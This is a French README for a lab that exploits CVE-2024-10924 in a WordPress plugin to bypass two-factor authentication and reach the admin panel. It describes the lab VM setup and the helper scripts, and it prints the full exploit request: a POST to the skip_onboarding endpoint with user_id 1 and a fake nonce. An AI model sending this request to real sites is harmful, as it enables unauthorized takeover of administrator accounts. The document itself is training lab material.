
Ce dépôt fournit un laboratoire pour exploiter la vulnérabilité CVE-2024-10924 dans WordPress, spécifiquement pour contourner l'authentification à deux facteurs (MFA) et obtenir l'accès au panneau d'administration de WordPress.
Pour déployer ce laboratoire dans votre environnement, suivez les étapes ci-dessous :
Vous devrez décompresser le zip du LAB, puis dans VMWare vous devrez cliquer sur Open pour importer une machine, nous sélectionnons le fichier appelé Ubuntu-Bypass-MFA-Wordpress.vmx, et enfin nous devrons cliquer sur Power pour allumer la machine vulnérable.
Sur votre machine Kali, installez les outils nécessaires et assurez-vous d'avoir les applications suivantes installées :
nmap : Pour effectuer des scans réseau.requests : Pour faire des requêtes HTTP (si vous ne l'avez pas, installez requests avec pip install requests).rich : Pour une sortie élégante dans la console (installez avec pip install rich).Pour obtenir l'IP de la machine WordPress dans l'environnement réseau, exécutez le script suivant depuis votre machine Kali :
$ python3 knowIPwordpress.py
Ce script fait ce qui suit :
Détecte votre IP locale.
Scanne le segment réseau correspondant pour trouver les IP actives.
Effectue un scan de ports pour les services HTTP.
Vérifie que l'IP de la machine WordPress a le titre "Bypass-MFA" dans son service HTTP.
Une fois trouvée, il vous montrera l'URL où vous pouvez accéder au panneau d'administration de WordPress :
Accede a WordPress en: http://<IP>/wp-admin
admin:admin
Lorsque vous essayez de vous connecter à WordPress, il vous demandera une vérification à deux facteurs (MFA). Pour contourner cette étape, exécutez le script suivant sur votre Kali :
$ python3 bypass-MFA-Wordpress.py
Comment fonctionne le script bypass-MFA-Wordpress.py
Ce script exploite la vulnérabilité CVE-2024-10924 et contourne la double vérification pour obtenir l'accès au panneau d'administration de WordPress.
Obtenir le cookie de session : Le script fait une requête HTTP au point de terminaison reallysimplessl/v1/two_fa/skip_onboarding pour obtenir un cookie de session valide.
La requête est envoyée avec les informations suivantes :
{
"user_id": 1,
"login_nonce": "133333337",
"redirect_to": "/wp-admin/"
}
Une fois le cookie obtenu, le script demande le nom d'utilisateur et le mot de passe WordPress. Ensuite, il fait une requête POST au point de terminaison wp-admin/profile.php avec les identifiants fournis pour se connecter.
Si le contournement réussit, le script enregistre la réponse du tableau de bord administrateur dans un fichier .html et l'ouvre dans votre navigateur par défaut.
Vous avez maintenant accès au panneau d'administration de WordPress !
Si vous voulez le faire manuellement avec BurpSuite et que vous voulez connaître le Endpoint vers lequel nous devons envoyer la requête afin de capturer les Cookies, nous pouvons le faire de la manière suivante
$ python3 endpointWordpress.py
Cela nous indiquera le code que nous devrons mettre dans BurpSuite pour pouvoir capturer les Cookies, dans mon cas ce serait quelque chose comme ceci :
POST http://192.168.5.192/?rest_route=/reallysimplessl/v1/two_fa/skip_onboarding HTTP/1.1
Host: 192.168.5.192
Content-Type: application/json
Content-Length: 89
Connection: keep-alive
{
"user_id": 1,
"login_nonce": "133333337",
"redirect_to": "/wp-admin/"
}
https://github.com/user-attachments/assets/e70789d1-4fe4-46b4-81ef-76229dd265ce